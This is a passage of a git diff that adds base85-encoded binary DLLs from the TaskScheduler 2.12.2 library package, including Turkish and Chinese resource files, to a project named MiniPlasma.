zJ6{?-s`lZ^DFY4ne{MU=d~)l?*4&c!zLqn)GcWq(L+=(mvZ1u-qj&syZ~u7q_r`EZ z%If_#RqDs|GPWBW#!_f8UfW#ZrDF+Y&(rfpf9X5l-L`ej-3Mw1_PknnM~QslLUr4o zuDk0>%D(y^_O6<>M;o7h;OjR&_u1xE7t7vxFt6p;+xC?lQ?AqQc_nN2sM5U)x9?q} z?O%54^VdA~!+Y24e`4bkS@)IYO*{JGJr}b}mY;a&UqfFwar$fdXDVLL*tKWFz~RgZ z_v`-Op6!3+Ck@K_U(A!(bt5_xMb(QE>-`Xp>clsa#qs@vrKu?#Uj`zl_!d)+!ihX+ znA{F4-0LaAizUE)c;XX?wquJMK~4eXgAoNfUjFp!k&GA5pbnhkftLYZH_q1xes;p= z9!E|Dj4c*lTI%8THgt&KorL|<5+eQBO!ZJ9mqQ^_3CVVRI)XC48ilTdYLH%#N1RAq z{IViz>Q?dc;THB_!?Zn&O_SJ^TGg(LwR7ZsB&Mr&H)FFUHhnOu`HKg+uc*kkz*pp3 z#MoqsW%@i`p9e;xt{wmF1@UGtP@hvT{c?Y!aUg9~hFPs?O|q&xYgth|lOAeo71rcydPGgMBSC%ihe4dqVFoW^t=&M3jX71hr++-ulc^y*RayanTW z+*dlky0PcSoc|-`xU-|VJKHGs1;NGnU5^$-@>Pw21g=z+qSFgidFpW{qarR{1+;8L zsh3V_7T}3$nm}NO#&9}Xh;lF0YUn(d&gl>OuDD$bDw zR2ZTYA#rrHa{NbLB73MFPo{o{b{D&JIB9jY_ErFaF=+ zS}Nk2%6n*Zhl}kpL0194r|vjcLkpMw<@$5*0A6Tx-uijcx5%G^*?+Oo@xXrrnGyI& literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..9b97cd50650fca3af2c7c1d0b691cecb7363a12a GIT binary patch literal 10240 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 z zOu;R2;DBQ={P^UEiGZ=i;&V$pe31!{D!2@xXg>GC_NycUD2%dqF+ThqOc52oXR zm8gEN$Gw^@$J-*dgx!q(BHS0^ovxn^djG#Er#L%^yORuHHwmb7u1g6h^{PTg0#_!lvIf2%$Mj>VU<44osu5SW`LGMZ>N~gp`9O})C#ERG$F~| zDd}<{7fD3tEF851D$bGyR2Za+0C9Ara_mP{57LLuW2kf&!IJ}nC2a8ZR$ zw}x~07d0D)+P$+1P~4WRs+J|9g2n!g~};R41a-I1BSrO`i6KrTBp> zv3iV>e>GvX7TC(EoQGf&*2frUhhSl!Sdl)QyV9GFVIxCgB0ZKQ=xN0fS9eWQ&+*p( zmp*HRf1M0K>y1k3Nh|)}{8}RXn$EkYcl+|~JV93uyQgQIE1`u+zqtMuEPxG-zHc|A P{Pz1>Q2PrV9Si&qMx9pv literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..6d8c0a93a934316ed88f050e08b20839418181c8 GIT binary patch literal 9728 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 G2mS})PMy*K literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..fe57308d8b48862a71fdd2d05ed7b504bbd151a7 GIT binary patch literal 9728 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/Microsoft.Win32.TaskScheduler.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/Microsoft.Win32.TaskScheduler.dll new file mode 100644 index 0000000000000000000000000000000000000000..533f1c78c7f5d1f4aabf4a92d40af94993a6a596 GIT binary patch literal 334848 zcmcG%37i~7`8VF%J<~JWdnB_vJG0qM*d=5)l{q#Sgd`9Mkwfl7z$6^uKEhGZlOSZ7 zH6Y@_;R$Luga9Ikh#;b<2neVk7*z0r1p$95Uf_K$|L^yy>gk!?P2~6f-*-PrclA?G zJ@wR6Pd!!j)G-IH{;=aYj+4OuH{W!eFXPR>T{u7Ts`)s|g|AdqK!}VwPpMG}#o(I39|15pd$wO^z!7NMqki8t| zfF{owDL(s<1vxJ{Gy7Yb<~dGB(s9xT`u%wb_anR4w&w zeEvFos|+$loRk%O*Z=i9&T&IwB|H&8;f-bY@sVw0bUC;m3Qs;$1ChKs;F&UTdM4nl zV08W8J(Mf{$eZgVo%Gk6oX;NRIn4rfoV&Y|&hnh&ygrn4Hd@%WUfa3DA99?afcJ;_ zKGIbm!Q1t!1iOiW=|X%BznH zoaud`t*=6`kSpX1-|v6%prW6|AP*_$1n>Y+WwIeS zIj8#ys7lj7&SW2SI0NVI1lBI+qnsGb7F))04C_yV#O8s#DP&7W)4;ilh{s2S$FRXu zpCY4>$R_)~#=fuRJFH2F(U1^h-DFiFMNX^0BibnBv@>W@P6zm35A<0d`{T{Oe)Wglu4<4bGnqu1LS3Y3vEwZCr;!9g zri?!bnrNSp@m$DwT202J`c`DjZ2p^!2f9tsT07is z_I;Cm-^}+twYniX>W0{;8zQ^yi7JuZ_GDF%MTQ?hS<#|US4(YOUFetIW$TJW{9!&# zU9GWoMXJ7VV(MxiTUX4+ALdi)3T@*Sgxz6g>&sJr20_&AtpX<-{xF~Vvv}0k?FHbA zfBhfWG_*rQ-QGa-i7kaZnU>N}x5A9ntp&#%>D!PbYHl$@`gVfR+(Z|ChBr(YbU{NG zdTY8sF5ZeRkgd0(3*_^^>B7J?Bg(c8Z{XZz)EPb^onhFv^Bz}(+L`D`44k_g5&4J^ z86KxxcOZ8v*PZtLIs3lLzCUl@ciZPQWoyEhT} zh!7dJh-ltasm^pqdf?oBh{#8T$Z(@kP!9pSaI7nDH-E)%Wu)O~jl4z^rY{6iyS3L}J`Vlp;t61tnhM@P*&hu5 zi4s`&lYqy_mG9zn1Nd#i;LddhoWcE_3`I#Ba0CPR%S$=xG8`zkgud&XW2ATH4hGFx zuATz50sHy-?#DzC&Z3s^6yiV4+|>8*G;Ppzh!Q|nCJ!$zR8W_nzs4VHqHJB~EZ|eN z27jwU-JxEnZd!S$h*JBc(tY;7NS8TB^4ZRrdtfY|0|9TT@#3D#nyV{7U13@hCErgS z7Zj6z>XbEs8&`m@wm<+<`4=(0k&EZFfp#lsyRbuELM6bzUl??~oJt~C*sX7@@(dCV zxYh5AG%1@ykp}5v*|-{p4Jy`^(mzBX<_&sQ)2>%WgH*{+8MT^}vAFzGo$cqdx~Lzn za}?g~$j|6`oYdAFx{x67OH1PjUp+^DQd#vQyi5J5E&a9T^J75P^RqQwN~QHr@L9;3 z_H+vJnKD^Ep86@!M0mmIUW21`tv_K3`vl_4b7Bsp;kBenxs=9eE6B}nOXc+Q5s^Zo z;G?i?3ml0}>vKE=o7fh10R-VpHc&4B-R*GH&cG=vkHJL@&QPQEG41Nby3aunrft|B zbkM*uu6hZvrKzs^Io_yYQVT{?qaKQp6E-X#n5y;|K6)`99gNav)ypI>Edia#=~oaw zG;v5)y^26Enye8qWodSDwk)uvzc3m4qDQW${s-TQq>^vcYr?^x&FKJ-iBd6fWodR| z zQR)C_44@ZL8E@j9UwL>QgFmVNW58<{c=fJ02y(Bl6>t``t!Zz;Lu_V}7e*HjWP`j|$CKqXtHZ0$O))p* zBN^VzM3&}{Elt-M0?j;VRy?2vexjOS60e%X%gz;&Ri7WePT^He<01NL(xR))RGI-} z+5m5)ZNY1N+E&0!+6As|!-x1nC__)$=`_%Bhb5z7W-(B19qe$%x}d|oele+gA$Q%5 zh{7qZMeqgzX9w?Q4dwmfm|Q`I1BJaKkULn=ke%&IJ?C&Hjn?*%I?4nvI5#39HxL?TXAbhqL)LcxPF>z6ehOgYJyHI+sykt`?f% z8Cc9_1t?&1y(Q8g5s?7c+&%(GK&W0&qiRE-DxsL_u%TMDRA)v+Bmk;AL;wj)EYn3c z;oJyM0ukQ$cPxwd*>v-wbQ0J)KAN(q$NUIi0x|yZf+#`);Cx{OkN^NXMgR#!Nn@5i zVYApN!jnK8zsbhKS{Z$iKpcOajo&$nmp~kUgN|J6G#_ro@SjKU0`5{Tm;weh=0 z@e+vmit)Z}@s>w;5}1hhU5mGOgeQRr?|=J_o7!`riw68-Oa6d}yab@1F!82*64+Wk zad}29p@X7y5&$7|5{8fj;sh@-LHzluO@By)E`gX|3}wkL2Dj4k4vo+xfNTzn01}Al z{?;aVM-(rCIR16U$Jy``+5FL_Iy_1x0c3MT1dzbi#4;ZKCC&^n7cGu#@@!B3DFnv+ zj%IYn+oQ)D*vJ^w%At9|_4-a$Z4CC#Yj$AJ9oXTq4JSz$2YcP2om#ZRerknc>6PR%4L14y>PR~S(EgU@G@ z1>|S^4MWbnW6dfi=SJrOjy@vey){0XgadSGn1D?MX-w-pEyPxB&;nM&OP$8b05Ay3^QJPxa3kgl9)D$R2;HMV8xUF;xx0UW#cbFUv zl+%MQrRf*+zmj+^a>Fs`YF169YTGYQW%#wXtCj;(X20u?Mx_=GaupQQSEvGiz|~7h z=M-0?mVJ-2Ro|0vx7v}SI@09HN?_hIJH6cbh18L9MQCf&|J&_0_u=B3{t<5gY-oxl~}Y0D^lE52{sHmQPX zPbsH)s`1Y(at&t+8pMfFC)#-#bol4yR0l*N@(2^2b51|>&&g(^>8`g~F98oyps0?} zsX7=WVJ!Vo@_@By|H{+57tZl>oBaGHh3aDa>q)u8)QBn{2vbs`JSqBeI2Y&y9gM9q zZe>L1P`Lg;*@b`PdRJ;u*y^8!VRnrncXL*udID2#;s*pT;s@{ox6~WAc315JJnIpn zD}`k@K9Ho-JtOw#{0r%4NqJb`rHmKC0G(rmu7*9>==DcIQYdJj7p{;fDjK}_W4YC= 